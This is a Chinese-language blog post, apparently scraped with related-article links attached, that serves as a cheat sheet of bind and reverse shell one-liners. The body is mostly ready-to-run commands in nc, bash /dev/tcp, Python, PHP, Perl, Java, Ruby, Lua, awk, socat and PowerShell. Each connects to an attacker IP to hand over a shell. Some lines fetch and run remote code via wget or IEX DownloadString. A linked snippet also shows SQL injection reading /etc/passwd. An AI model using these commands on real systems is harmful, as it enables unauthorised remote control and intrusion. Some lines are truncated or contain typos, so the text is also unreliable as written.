获取shell的方法总结:
shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端主动连接服务器,就称为正向shell。如果客户端连接服务器,服务器想要获得客户端的shell,就称为反向shell。
反向shell通常在开启了防护措施的目标机器上,例如防火墙、端口转发等。
(1)正向shell
输入如下命令,监听目标主机的4444端口
nc -lvp 4444 -e /bin/bash // linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows
在本地或vps主机上连接目标的4444端口,即可获得目标主机的shell
nc 192.168.174.130 4444
(2)反向shell
输入如下命令,在本地或者vps主机上监听9999端口
nc -lvp 9999
在目标主机中输入如下命令,连接vps主机的9999端口
nc 192.168.174.130 9999 -e /bin/sh // linux
nc 192.168.174.130 9999 -e c:\windows\system32\cmd.exe // windows
正向shell:本地或vps将自己的shell传给服务器(端口监听在服务器上)。
反弹shell:目标机器将shell主动传给本地或vps(端口监听在本地vps上)。
4.在目标主机中没有nc时获得反向shell
(1)Python反向shell
Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(2)Bash反向shell
个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话
vps:nc -lvp 4444
bash -i >& /dev/tcp/192.168.174.130/4444 0>&1
(3)PHP反向shell
php -r '$sock=fsockopen("192.168.174.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
(4)Perl反向shell
perl -e 'use Socket;$i="192.168.174.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
第二种方式(linux):
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.174.130:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
第三种方式(windwos):
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.174.130:4444");STDIN->f
(5)Java脚本反弹shell
第一种:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.174.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
第二种:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.174.130/4444 0>&1"});
p.waitFor();
(6)socat 反弹shell
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.130:4444
(7)Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.174.130","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
第二种方式(linux):
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
第三种方式(windows):
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
(8)Lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192。168.174.130','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
(9)Awk反弹shell
awk 'BEGIN{s="/inet/tcp/0/192.168.174.130/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
(10)exec反弹shell
exec 5<>/dev/tcp/192.168.174.130/4444 cat <&5 | while read line; do $line 2>&5 >&5; done
第二种方式:
0<&196;exec 196<>/dev/tcp/192.168.174.130/4444; sh <&196>&196 2>&196
(11)nc反弹shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.174.130 4444 >/tmp/f
(12)powershell反弹shell
apt-get install powshell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.174.130 -port 4444
(13)从原生的 shell 环境切换到linux的交互式 bash 环境
python -c "import pty;pty.spawn('/bin/bash')"
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
- 渗透-N种反弹shell方法
简介 reverse shell反弹shell或者说反向shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端.reverse shell与teln ...
- NC反弹shell的几种方法
假如ubuntu.CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.CentOS的shell反弹到kali上 正向 ...
- Linux 反弹shell(二)反弹shell的本质
Linux 反弹shell(二)反弹shell的本质 from:https://xz.aliyun.com/t/2549 0X00 前言 在上一篇文章 Linux反弹shell(一)文件描述符与重定向 ...
- Windows/Linux 下反弹shell
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- linux反弹shell
参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html http://www.waitalone.cn/linux-s ...
- python shell与反弹shell
python shell与反弹shell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端, ...
随机推荐
- 9.python入门
借鉴:https://www.cnblogs.com/wupeiqi/articles/5433925.html 一.HelloWorld print("HelloWorld") ...
- Python爬虫之Beautifulsoup模块的使用
一 Beautifulsoup模块介绍 Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.Be ...
- 分布式架构基石RPC的实现原理
RPC的由来 随着互联网的发展,网站应用的规模不断扩大,常规的垂直应用架构已无法应对,分布式服务架构以及流动计算架构势在必行,亟需一个治理系统确保架构有条不紊的演进. 单一应用架构 当网站流量很小时, ...
- 洛谷$P5444\ [APIO2019]$奇怪装置 数论
正解:数论 解题报告: 传送门$QwQ$ 我好像当初考的时候这题爆零了,,,部分分都没想到,,,我真的好菜$kk$ 考虑如果在$t_1,t_2$两个时刻有$x_1=x_2,y_1=y_2$是什么情况$ ...
- map类型转为实体类
BareBaseRequest fromJson = JSON.parseObject(JSON.toJSONString(map), BareBaseRequest.class);
- centos下MySQL登录1045问题解决
由于需要在centos下部署整个应用,自然少不了对数据库的操作.但很多人可能会遇到一些问题,比如创建用户成功,但是却无法登录. 无法登陆一般就两个原因.第一,远程访问端口没开,第二个原因就是密码错误了 ...
- 「洛谷P1262」间谍网络 解题报告
P1262 间谍网络 题目描述 由于外国间谍的大量渗入,国家安全正处于高度的危机之中.如果A间谍手中掌握着关于B间谍的犯罪证据,则称A可以揭发B.有些间谍收受贿赂,只要给他们一定数量的美元,他们就愿意 ...
- Kubernetes 会不会“杀死” DevOps?
作者丨孙健波(天元) 阿里巴巴技术专家 导读:DevOps 这个概念最早是在 2007 年提出的,那时云计算基础设施的概念也才刚刚提出没多久,而随着互联网的逐渐普及,应用软件的需求爆发式增长,软件开 ...
- 20.用PyInstaller打包py程序的步骤及问题解决
最近写了一个移动和复制文件的代码,代码完成之后,想将其打包成一个可以在任何电脑上使用的软件, 于是在网上查找相关资料,可以用PyInstaller打包成.exe程序,以下是具体步骤: 1.安装PyIn ...
- 2018铁人三项测评题 IOS99
下面这一部分是我从网上复制过来的, 2.IOS 解题链接:http://ctf4.shiyanbar.com/web/IOS/index.php 这题页面中提示系统升级到了IOS99,我们可以想到修改 ...